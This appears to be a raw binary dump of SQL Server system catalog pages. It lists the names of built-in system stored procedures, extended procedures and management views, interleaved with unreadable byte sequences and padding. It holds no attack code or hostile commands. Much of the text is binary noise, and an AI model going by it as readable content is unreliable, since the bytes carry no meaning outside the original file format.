J(`0M"bY?M00(V GQmQdm_pdw_nodes_tran_session_transactions00+P W_Wnsp_cdc_get_captured_columns00=P ܾNYNLsp_addrole00'(KP QԑQ\sp_addlinkedserver00|UP h+Q1QTsp_cursor_list00~V`IFMN_Ndfn_builtin_permissions00aFN#W`Wffn_cdc_check_parameters00$bP V*6Wnsp_MSget_session_statistics00EiP 7VlYhsp_MSdrop_6x_publication00nwV UPlP^dm_exec_query_stats00P mUcVZsp_scriptsupdproc00CqP SDT`sp_copymergesnapshot00`dP pYܯYVsp_MSdbuserpriv00 +P VWlW~sp_processlogshippingmonitorhistory00BgP 6Q6QLsp_sqlexec00QݣFN$SDTZfn_repluniquename00}V QQRdm_pdw_errors001ŮP 2YƉYfsp_enum_oledb_providers00_/P pUcVPsp_subscribe00pP bNNPsp_detach_db00JP bRTdRdsp_primary_keys_rowset00~V FNbNdm_fts_semantic_similarity_population00TP V`lYlsp_MShelp_snapshot_agentid00P ;TUpsp_replication_agent_checkup00@mFNUdVffn_varbintohexsubstring00P NNvsp_db_vardecimal_storage_format00qP 2VlYbsp_MSdrop_publication00P {WWVsp_MScdc_logddl00'X +Q\2Q^sp_reset_connection00vP '&TDT~sp_changereplicationserverpasswords00P 4zRzR\sp_schemata_rowset00<P 2TDTfsp_dropreplsymmetrickey00`P 	NYNNsp_dropuser00h-P UXhYnsp_MShelptranconflictcounts004X YYPxp_fileexist00b@V 7QUQrdm_pdw_nodes_exec_connections00$fP PeQZsp_releaseapplock00=yxP N)N\sp_settriggerorder00zX Y΋YXsp_PostAgentInfo00HP @PQXsp_user_counter100HEP xTeY^sp_firstonly_bitmap00뇝P UcVdsp_scriptmappedupdproc00#V kQ8kQRtrace_columns00+P uVx6Wsp_MSdrop_distribution_agentid_dbowner_proxy00PV RRfREFERENTIAL_CONSTRAINTS00P 
Vy6Wrsp_MSreset_subscription_seqno00ߑP YY^sp_MSforeach_worker00SP 
YYXsp_MSobjectprivs00P SCTxsp_validatemergepullsubscription00eUP .XrYpsp_MShelpmergeschemaarticles00P `S\dYpsp_addpullsubscription_agent00P P7QXsp_helpfilegroup003P [rSdYpsp_helpmergepullsubscription00[
P SDTjsp_MSscript_sync_ins_trig00P WlYsp_MSchange_logreader_agent_properties00.$P 4*Q1Qlsp_describe_cursor_columns00!3V QQfdm_pdw_nodes_os_workers007P >1SCTNsp_MSsetbit00
U8P cURhYtsp_MSdrop_6x_replication_agent00bBP X’Xsp_MSvalidate_wellpartitioned_articles006QP WF7Wnsp_replmonitorhelppublisher00	^P )VleV~sp_MSdetectinvalidpeerconfiguration00^P \PdQFsp_lock00	s`P RRsp_syspolicy_update_event_notification00gX 1dQNdQVsp_trace_create00=iP V<5Wnsp_MSadd_merge_subscription00V L`Q`Qjfulltext_system_stopwords00P WWnsp_MSmerge_getgencur_public00ԺP q]TUdsp_helppublicationsync00{mP YsYnsp_MSmakemetadataselectproc00rOP oRoRnsp_table_privileges_rowset200D-P V)6WZsp_MSenum_merge_s00B|P TUdsp_replcleanupccsprocs00P 2fSidYnsp_MSunregistersubscription00P {VkYnsp_MSadd_distribution_agent00a*P %X)%Xpsp_restoremergeidentityrange00bP STeY`sp_MSrepl_FixPALRole!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4X,Z:v\l:Z,TrXJ


f
.
v

	*	<8&\LNR`0L" HYxq00J
P :XZXlsp_MScreatedummygeneration00JV P?PPdm_clr_tasks00!P eV]lYfsp_MSreset_subscription00=P R=R`sp_xml_schema_rowset00?P VwlYzsp_MSchange_subscription_dts_info00DP %X%X\sp_addmergearticle003IP Q'Q^sp_dbmmonitorupdate00_P 	RRpsp_provider_types_100_rowset00~aP %TaY`sp_adddistributiondb00@ibV PPldm_os_worker_local_storage00-+eV %QCQvdm_pdw_nodes_db_partition_stats00<lP S,R`,Rdsp_table_privileges_ex00pnP ?N)NRsp_unbindrule00 P oUcVbsp_article_validation00P UUpsp_startpublication_snapshot00P QSEdYhsp_MSenumallpublications00UzV 
rN)rNpdm_db_persisted_sku_features00EP WnYbsp_MSaddmergetriggers00xeP uTUPsp_oledbinfo00V 	Q'Qpdm_pdw_nodes_os_memory_pools00=[P z\R\Rbsp_indexes_90_rowset200iFP NYNTsp_dropapprole00HP RWlWsp_help_log_shipping_secondary_database00tKP NNbsp_sequence_get_range00YP W7Whsp_MSstartsnapshot_agent00B
\V QQzdm_pdw_nodes_db_index_usage_stats00_P W_nY\sp_MSaddguidcolumn00sfP mnV:5Wsp_MSsetupnosyncsubwithlsnatdist_helper00ԓkX (Q1QZsp_cursorprepexec00/}P 0VleVdsp_requestpeerresponse00b~P kTaYfsp_MSpublication_access00cIFPPjdm_logpoolmgr_respoolsize001P ſV*6Wfsp_MSget_new_xact_seqno00[{P #Y$Ysp_MScheck_logicalrecord_metadatamatch00eP %TCT`sp_createtranpalrole00P ayRqyRbsp_procedures_rowset2008P UeV\sp_IHScriptSchFile00,P "SdYjsp_MScheck_agent_instance00P CUcVsp_MSrepl_snapshot_helparticlecolumns00uP "oV;5Wsp_MSsetupnosyncsubwithlsnatdist_cleanup00P TV7Wsp_MSchangedynamicsnapshotjobatdistributor009X >TDTNsp_replhelp00P VlYbsp_MShelptracertokens00_TFPP^fn_virtualfilestats00P[P gyWW\sp_MScdc_ddl_event00gV P;Pfdm_db_index_usage_stats00+QIFHPZPldm_db_index_physical_stats006P VrlYjsp_MSbrowsesnapshotfolder00>V 0RVRJSEQUENCES00qHV PPhdm_os_buffer_descriptors00MIP RR^sp_oledb_ro_usrname00aKP mTUjsp_MSrepl_check_publisher00"VV PPdm_tran_active_snapshot_database_transactions00,caP dTVaY\sp_helpdistributor00ݾeP 2NoOZsp_fulltext_table00C|iP 6UFdVXsp_MSrepl_schema00pP SIeYdsp_MSrepl_backup_start00 z|P ղXrY\sp_MSgetlastrecgen00qP "V5Wfsp_MSdrop_snapshot_dirs00X ҆Y"YTxp_fixeddrives00yP RCTlsp_MSissnapshotitemapplied00X چYdY^xp_sqlagent_monitor00|IFOOzdm_fts_index_keywords_by_document00P WpnYrsp_MSgetmakegenerationapplock00֬V QQrpdw_loader_backup_run_details00P DYDYsp_MSupdateinitiallightweightsubscription00GIFPPrdm_logpool_sharedcachebuffers00ZX QmQzsp_change_tracking_waitforchanges00U AQwQ\trace_xe_event_map00P {V7Whsp_MSinvalidate_snapshot00 #P |CWlWsp_delete_log_shipping_primary_database00G)V QQ`dm_pdw_exec_sessions00pc2P URURlsp_foreign_keys_rowset_rmt00w8X MNNNXsp_getschemalock00>X ņYYVxp_readerrorlog00E?P SDTjsp_MSadd_compensating_cmd!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0dv.2F|(fPb2~PB.B$
:
j&
P
			J(P~,R\`0N"XZgM$00quAV QQdm_pdw_nodes_os_memory_cache_entries00MP XXbsp_MSgetmetadatabatch00VP SdY\sp_addsynctriggers00]P 	TCTpsp_MSmergeupdatelastsyncinfo00M_P )Q1Q\sp_describe_cursor00>'`P 5XYBXYjsp_MSgetonerowlightweight00dP NNNsp_dbremove00tP NNhsp_dbfixedrolepermission00&P XYhYdsp_MSsetsubscriberinfo00$P kvSdYzsp_addmergepullsubscription_agent00-P NYNRsp_setapprole00W\P VtlYjsp_MSdist_adjust_identity00V QQpdw_health_component_status_mappings00V 9QRQ\dm_server_services00PP _P8QLsp_monitor0046V мPPndm_tran_active_transactions00[P -"YM"Ynsp_MSfixupbeforeimagetables00hP oV5W`sp_MSenum_snapshot_s00?P ~QDQPsp_droplogin00P -Q2Qxsp_create_plan_guide_from_handle00P ~XrYbsp_MSsetconflicttable00P KWlWsp_add_log_shipping_secondary_primary00L?P DVkYhsp_MSadd_subscriber_info00P fNZNXsp_changedbowner00"P YWYZsp_MSsetalertinfo00W.P Tw
UTsp_adddatatype00/P UcVXsp_scriptupdproc00-3P QQlsp_db_increased_partitions00Ӻ6P ρQDQTsp_revokelogin00&?V ̺QQldm_pdw_nodes_exec_sessions008%@P gUcVXsp_changearticle00oPP TaY~sp_MScleanupmergepublisher_internal009wP N)NTsp_tableoption001{P }XXlsp_MSchangearticleresolver00FP V$lYrsp_MSadd_distribution_history00&P W_Wxsp_cdc_generate_wrapper_function00X =:TDTTxp_replposteor00}%P hXXbsp_MSuplineageversion00`1P N2Nfsp_dropextendedproperty00BTFcPPbfn_servershareddrives00P ^XX|sp_MSregenerate_mergetriggersprocs00X eQeQ\sp_trace_setstatus00tX QNpOlsp_fulltext_pendingchanges00#P YsYfsp_MSinsertschemachange00ٶP :XrYXsp_MSdummyupdate00NJP WW7W^sp_addqreader_agent00M?P XXsp_MSevaluate_change_membership_for_row00P 0SCTPsp_MStestbit00y/P VlYlsp_MSdistribution_counters00TV qQQ\pdw_table_mappings00<P 8YbYfsp_MScomputelastsentgen00FKP V7Whsp_MSupdatecachedpeerlsn00k)P ~TaYrsp_helpdistributor_properties00P ;=UcVXsp_articlecolumn00NP YsY`sp_MSdropconstraints00sP N7N\sp_helpdbfixedrole00'P \TaYbsp_dropdistributiondb00P RCT~sp_MSrecordsnapshotdeliveryprogress00"F@X 7Q7QJxp_sscanf00;SFP SCTZsp_MSset_sub_guid00/PP V6W`sp_MSinsert_identity00`hP VkYdsp_MSdrop_subscription00hP DpV7Wbsp_MSquery_syncstates00oP ;VeVbsp_addlogreader_agent009{pP iNN^sp_create_removable00#stV PPddm_db_file_space_usage00~P VVlYsp_MSenum_merge_subscriptions_90_publisher002X E,Q2Qpsp_describe_first_result_set00P V4Wlsp_MSget_max_used_identity00P YYfsp_MSmakedynsnapshotvws00P WlYsp_replmonitorhelppublicationthresholds00P yP7Qbsp_invalidate_textptr00{V sVQVQjdm_broker_activated_tasks00_P ;(RH(RRsp_statistics00*P UcVvsp_scriptpublicationcustomprocs00ܺX (Q1QTsp_cursorclose00V QQpavailability_group_listeners00V VQ/VQhdm_broker_queue_monitors!!!!!!!!!!,d@D ZVvb"Z
&h$\.
P
~&f

N
		4	P(L$h"jB`0N"PZ_00P JY8Ybsp_MSSQLOLE65_version00EX +QH2QNsp_prepexec00JX YʊYXxp_passAgentInfo00qWP )"W7Wzsp_MSforce_drop_distribution_jobs00P AVkYpsp_MSadd_subscriber_schedule00P lTkaYjsp_addsubscriber_schedule00JP YYY^sp_MSSQLOLE_version00P cXncXjsp_deletemergeconflictrow00[	V P+Pndm_os_memory_cache_counters00
P W!Wjsp_MSprepare_mergearticle00SV R0RZCHECK_CONSTRAINTS00o P /.VleVjsp_MSpeertopeerfwdingexec00-!P !XrYhsp_MSenumdeletesmetadata00#P DSkeYfsp_MSreset_synctran_bit00B)P |R|Rbsp_statistics_rowset200[:P aPQXsp_user_counter200
r?P +UeVVsp_schemafilter00@P #QDQTxp_revokelogin00CP fRfRlsp_primary_keys_rowset_rmt00VP P&Pvsp_flush_commit_table_on_demand00_P YX-YXnsp_validatemergepublication00
fP SdYfsp_cleanupdbreplication00,mP UcVZsp_scriptsinsproc00SpV QQZpdw_diag_sessions00;YsP oVkYxsp_MSsetupnosyncsubwithlsnatdist00puP ^T
Ursp_MSrepl_enumtablecolumninfo00مP aOSCdYjsp_MSenumallsubscriptions00V 'Q='Qpdm_tran_session_transactions00VX QՑQ^sp_testlinkedserver00FN*Y`*Yhfn_MSvector_downloadonly00֕P SDThsp_vupgrade_mergeobjects00IP ~TaY`sp_dropdistpublisher00%P NN~sp_add_data_file_recover_suspect_db00拿P @R^R`sp_datatype_info_100001tV jQ4jQXtrace_categories00V 9PSPZdm_clr_appdomains00GP 
:VhYZsp_MStran_ddlrepl00$P 4X\X^sp_MSsetrowmetadata00KP X.pYfsp_lookupcustomresolver00EP `JXxJXZsp_addmergefilter000V Q
Qvpdw_health_component_properties00P jUhYnsp_IHget_loopback_detection00	P -VdVfsp_repldeletequeuedtran00iP JWlWsp_processlogshippingmonitorsecondary00:WP GR
HR\sp_columns_rowset200\3P bRRfsp_usertypes_rowset_rmt00iJP TUfsp_drop_agent_parameter00TP mRQSQ^sp_helpextendedproc00VIF4QNQXdm_exec_sql_text00lWP "GSCT\sp_MSsetaccesslist00_XP XXfsp_MSenumpartialdeletes00ZV QQVdm_pdw_sys_info00ZIF'OOzdm_fts_index_keywords_by_property00[P fXrYdsp_MSaddinitialarticle00`V QQ|pdw_column_distribution_properties00lfP ܕTUUfsp_help_agent_parameter007gP xT~aYfsp_MScreate_dist_tables005kX v>TDTXsp_replddlparser00	pV ظPPbdm_exec_trigger_stats00vP $VleVXsp_MSgetpeerlsns00ҁV =PYP\dm_os_memory_pools00;dP ?VeVdsp_helplogreader_agent00ZVFN^RCTXfn_fIsColTracked00S̉P 2VmeVdsp_MSpeerapplyresponse001yV \4N4N\fulltext_languages00>_X ",Q2Q`sp_resyncuniquetable00DV PPZdm_os_latch_stats00ҩP ZUeVlsp_setOraclepackageversion00ApP TeYpsp_MSrestoresavedforeignkeys00eNFSRR`fn_cdc_decrement_lsn00 ܿP ESDT^sp_MSrepl_isdbowner00V /PKP\dm_io_backup_tapes00P 
WlYsp_replmonitorchangepublicationthreshold00kP TaYdsp_changedistpublisher00nP 1~VkY`sp_MSadd_merge_agent00V P
Pdm_resource_governor_workload_groups00qJP ;X;Xfsp_helpmergelogsettings00P J-Rf-RJsp_tables!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d <~H(lV2Rh
>`VD


F
4
	b		4RP \Rh`0L"(@Z-cy00gP ujSudYfsp_droppullsubscription00kWIFNZNlfn_check_object_signatures00TP ZR|RTsp_foreignkeys00;P TSPdYnsp_MS_replication_installed00=V QmQvdm_hadr_database_replica_states00P aV4Wpsp_MSgetmaxsnapshottimestamp00;*P }RRZsp_oledb_language00
P 7VlYfsp_MSadd_snapshot_agent00 P >`WlWtsp_help_log_shipping_alert_job00m'P 2W7Wsp_validate_replica_hosts_as_publishers00D
1V 8NWN^dm_fts_memory_pools00
R1P P!Pbsp_flush_commit_table00t3P NOsp_fulltext_semantic_unregister_language_statistics_db00M8P OVeV|sp_refresh_heterogeneous_publisher00yAX YYZsp_OAGetErrorInfo00/)OP &R&R^sp_sproc_columns_9000UP #EY0EY|sp_MSinsertlightweightschemachange00?]P >QJQhsp_dbmmonitorchangealert00w=dP JRKRbsp_columns_100_rowset00:uP V:lYVsp_MSenum_merge00vV QQdm_pdw_nodes_tran_current_transaction00eyX ,Q3Qsp_availability_group_command_internal00P IVeV~sp_getsubscription_status_hsnapshot00+ZV PPdm_resource_governor_resource_pool_affinity00xP W^WXsp_cdc_start_job00P ~PPTsp_createstats00P kV
lYjsp_MSdrop_logreader_agent00ExX YYNsp_OAMethod00P mRnRlsp_table_privileges_rowset004P cUGdV^sp_MSpost_auto_proc00tľP }QDQNsp_addlogin00P #ScYnsp_MSdroparticleconstraints00P qTUXsp_droppublisher00P qSeYfsp_MSsub_check_identity00jFN+W`Wdfn_cdc_map_lsn_to_time00P WlY|sp_MSchange_merge_agent_properties00*,P UcVbsp_dropanonymousagent00P W^W^sp_cdc_enable_table00P qSdYlsp_helpreplicationdboption00P ScYtsp_MStran_is_snapshot_required00P -NGNdsp_MS_marksystemobject00P 	TDTjsp_MSsetcontext_replagent00:P 3XfpYjsp_helpmergearticlecolumn00X YYRxp_msx_enlist00P M8Yq8Yrsp_MSdrop_tempgenhistorytable00-P XrY\sp_MSsetlastrecgen00-V PPTdm_os_sys_info00V`1V PPRdm_tran_locks00_2P `AXAXfsp_dropmergelogsettings007V Q-Qdm_pdw_nodes_os_performance_counters00NNV P2Pfdm_exec_procedure_stats00.OP VWlYhsp_MShelplogreader_agent009OP KTUbsp_replpostsyncstatus00RX PNoO^sp_fulltext_getdata00!nP ,RLR^sp_table_type_pkeys007rP [|TaYZsp_adddistributor00xP &UdV\sp_posttracertoken00XP V<5WXsp_MSadd_article001X YYRxp_get_script00jV 	Q2	Qdm_hadr_database_replica_cluster_states00XP VdVhsp_MScleanup_agent_entry00P VTlYsp_MSenum_merge_subscriptions_90_publication00ޛP VAlY^sp_MSadd_repl_error00oDP yV7Wpsp_MSset_snapshot_xact_seqno00ғP S_eYsp_MSretrieve_publication_attributes00үP upRpRtsp_table_privileges_rowset_rmt00jP `R`Rhsp_indexes_90_rowset_rmt009nP 5SmeYfsp_MSenum_replsqlqueues00P SseYpsp_browsemergesnapshotfolder00P sRRbsp_tablecollations_9000uP V6Wfsp_MScheck_pub_identity00IP 9qUcVTsp_unsubscribe00P RRhsp_tables_info_90_rowset00BP N)NTsp_indexoption00(X (Q1Q\sp_cursorunprepare00P t[R[R\sp_indexes_rowset2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4x@r~ 2,tLfZ:f"b
V

>2
L
	J	r,tT4j2`
fv"f[Oܾ1&3Fsp_MSstartdistribution_agent&(Ɯ8sp_MSstartmerge_agent&0]Dsp_MSstopdistribution_agent&se6sp_MSstopmerge_agent&Hi<sp_MSstopsnapshot_agent&(8sp_MSsub_set_identity&L_Bsp_MSsubscriptionvalidated&*sp_MStablekeys&*sp_MStablerefs&.4sp_MSunmarkifneeded&9<sp_MSunmarkschemaobject&Hsp_MSupdate_agenttype_default&UDsp_MSupdate_subscriber_info&@.OLsp_MSupdate_subscriber_schedule&.>sp_MSupdate_subscription&{Bsp_MSupdate_tracer_history&Ԋ8sp_MSupdategenhistory&4J<sp_MSupdatelastsyncinfo&#hn2sp_MSupdatepeerlsn&z0sp_MSupdaterecgen&<sp_MSupdatereplicastate&uDsp_MSupdatesysmergearticles&@sp_MSvalidate_dest_recgen&ABsp_MSvalidate_subscription&uU6sp_MSvalidatearticle&#Bsp_MSwritemergeperfcounter&Jsp_new_parallel_nested_tran_id&$sp_OACreate&G&sp_OADestroy&&.sp_OAGetProperty& sp_OAStop&)b*sp_oledb_defdb&.sp_oledb_deflang&RZ$sp_password&Psp_peerconflictdetection_tableaug&arsp_pkeys&€"sp_prepare&
H*sp_prepexecrpc&qV<sp_primary_keys_rowset2&S*sp_primarykeys&:Lsp_procedure_params_100_managed&CJsp_procedure_params_100_rowset&zFLsp_procedure_params_100_rowset2&ޚJsp_procedure_params_90_rowset2&Dsp_procedure_params_managed&sBsp_procedure_params_rowset&<Dsp_procedure_params_rowset2&Tsp_processlogshippingmonitorprimary&Xsp_processlogshippingretentioncleanup&5:sp_prop_oledb_provider&
Dsp_provider_types_90_rowset&>sp_provider_types_rowset&DW0&sp_publishdb&!6sp_publisherproperty&yj,sp_readerrorlog&ƺv8sp_redirect_publisher&VLsp_refresh_log_shipping_monitor&(<sp_refreshsubscriptions&*sp_refreshview&A@sp_registercustomresolver&uJsp_reinitmergepullsubscription&>Bsp_reinitmergesubscription&e@sp_reinitpullsubscription&x8sp_reinitsubscription&*т6sp_releaseschemalock&ETsp_removedistpublisherdbreplication&&<sp_removesrvreplication&EXsp_MSupdate_subscriber_tracer_history&AO0sp_oledb_database&ڡ$sp_ORbitmap&&sp_recompile&:sp_removedbreplication&ˮ4sp_refreshsqlmodule& +Tsp_processlogshippingmonitorhistory&J:sp_primary_keys_rowset&$f0sp_releaseapplock&z.sp_PostAgentInfo&bBZsp_MSvalidate_wellpartitioned_articles&Dsp_MSunregistersubscription&_Fsp_provider_types_100_rowset&xe&sp_oledbinfo&Y>sp_MSstartsnapshot_agent&8sp_procedures_rowset2&MI4sp_oledb_ro_usrname&`sp_MSupdateinitiallightweightsubscription&}%8sp_MSuplineageversion&&sp_MStestbit&FK>sp_MSupdatecachedpeerlsn&E$sp_prepexec&CBsp_primary_keys_rowset_rmt&G0sp_MStran_ddlrepl&iXsp_processlogshippingmonitorsecondary&;*0sp_oledb_language&M8Rsp_refresh_heterogeneous_publisher&yA0sp_OAGetErrorInfo&Ex$sp_OAMethod&<sp_MSsub_check_identity&Jsp_MStran_is_snapshot_required&x2sp_posttracertoken&>p>sp_MSsubscription_status&Fsp_register_custom_scripting&Lsp_MSupdategenerations_afterbcp&Rbsp_MStrypurgingoldsnapshotdeliveryprogress&#8sp_publicationsummary&n6Y4sp_MSunmarkreplinfo&a_,sp_remoteoption&Hsp_MSuploadsupportabilitydata&ho(sp_procoption&/Hsp_procedure_params_90_rowset&=,sp_MSuniquename&L.sp_OASetProperty&\sp_MSupdate_singlelogicalrecordmetadata&Gn.sp_MStablechecks&H.6sp_procedures_rowset&,sp_MStablespace&tJsp_MSuselightweightreplication&72sp_objectfilegroup&Ł@sp_publication_validation!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!BR
h
b

~|V\n<BD
F
h
$
	d	D	fhF(Z~\*<<Nz8<b*p^XbJ8b*rX"`e
r":	[y	&]0sp_columns_ex_100&e8.sp_columns_ex_90&e2sp_columns_managed&f,w0sp_columns_rowset&$8sp_columns_rowset_rmt&BJsp_commit_parallel_nested_tran&H&sp_configure&?ZRsp_configure_peerconflictdetection& ۛBsp_constr_col_usage_rowset&a8sp_control_plan_guide&Cq6sp_copymergesnapshot&,sp_copysnapshot&c$4sp_copysubscription&Cʫ6sp_create_plan_guide&!8sp_createmergepalrole&,sp_createorphan&e6sp_createtranpalrole&2[~ sp_cursor&|U*sp_cursor_list&}*sp_cursorfetch&Kf(sp_cursoropen&ԓk0sp_cursorprepexec&@0sp_cycle_errorlog&]	&sp_databases&.sp_datatype_info&Lsp_db_vardecimal_storage_format&9b*sp_dbcmptlevel&Bsp_dbmmonitoraddmonitoring&ty:sp_dbmmonitordropalert&iDsp_dbmmonitordropmonitoring&7
Dsp_dbmmonitorhelpmonitoring&8!q6sp_dbmmonitorresults&3I4sp_dbmmonitorupdate&u&sp_defaultdb&s2sp_defaultlanguage&܉qVsp_delete_http_namespace_reservation&`sp_delete_log_shipping_secondary_database&n?^sp_delete_log_shipping_secondary_primary&v|Dsp_deletepeerrequesthistory&'Dsp_deletetracertokenhistory&(&sp_denylogin&.$Bsp_describe_cursor_columns&L@sp_describe_cursor_tables&]NPsp_describe_undeclared_parameters&p&sp_detach_db&!9:sp_disableagentoffload&'G,sp_distcounters&w8sp_drop_agent_profile&iF*sp_dropapprole&*sp_droparticle&ˢ:sp_dropdatatypemapping&%H(sp_dropdevice&4
2sp_dropdistributor&ygBsp_dropdynamicsnapshot_job&4sp_dropextendedproc&>Jsp_dropmergealternatepublisher&[a4sp_dropmergearticle&kР2sp_dropmergefilter&R8sp_dropmergepartition&<Fsp_dropmergepullsubscription&İ>sp_dropmergesubscription&M*sp_dropmessage&?2sp_droppublication&P52sp_dropremotelogin&<<sp_dropreplsymmetrickey&6e$sp_droprole&0sp_droprolemember&T(sp_dropserver&96sp_dropsrvrolemember&Ǒ4sp_dropsubscription&XZ$sp_droptype&`$sp_dropuser&Tg"sp_dsninfo& #\sp_delete_log_shipping_primary_database&M_2sp_describe_cursor&d$sp_dbremove&t>sp_dbfixedrolepermission&?&sp_droplogin&Nsp_create_plan_guide_from_handle&-3Bsp_db_increased_partitions&`1<sp_dropextendedproperty&'8sp_dropdistributiondb&9{p4sp_create_removable&2Fsp_describe_first_result_set&ܺ*sp_cursorclose&@sp_deletemergeconflictrow&I6sp_dropdistpublisher&拿6sp_datatype_info_100&:W2sp_columns_rowset2&iJ<sp_drop_agent_parameter&g<sp_droppullsubscription&?]>sp_dbmmonitorchangealert&*sp_createstats&.sp_droppublisher&*,8sp_dropanonymousagent&_2<sp_dropmergelogsettings&(2sp_cursorunprepare&r:sp_dbmmonitorhelpalert&1Fsp_dropanonymoussubscription&`#Hsp_dbmmonitorchangemonitoring&8sp_droplinkedsrvlogin&Dsp_constr_col_usage_rowset2&Jc9^sp_delete_log_shipping_primary_secondary&34sp_datatype_info_90&,sp_cursoroption&Lsp_control_dbmasterkey_password&Ic<sp_dropmergepublication&[B1Nsp_delete_log_shipping_alert_job&0sp_dropsubscriber&pQ"sp_depends&-t.sp_cursorprepare&*sp_droporphans& sp_ddopen&.sp_cursorexecute!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|X$r6>
j
j
$
`<hl2
Ll
^z
@

		H	"	<VT.P<tJ&<nDV`*\X, `g
U"
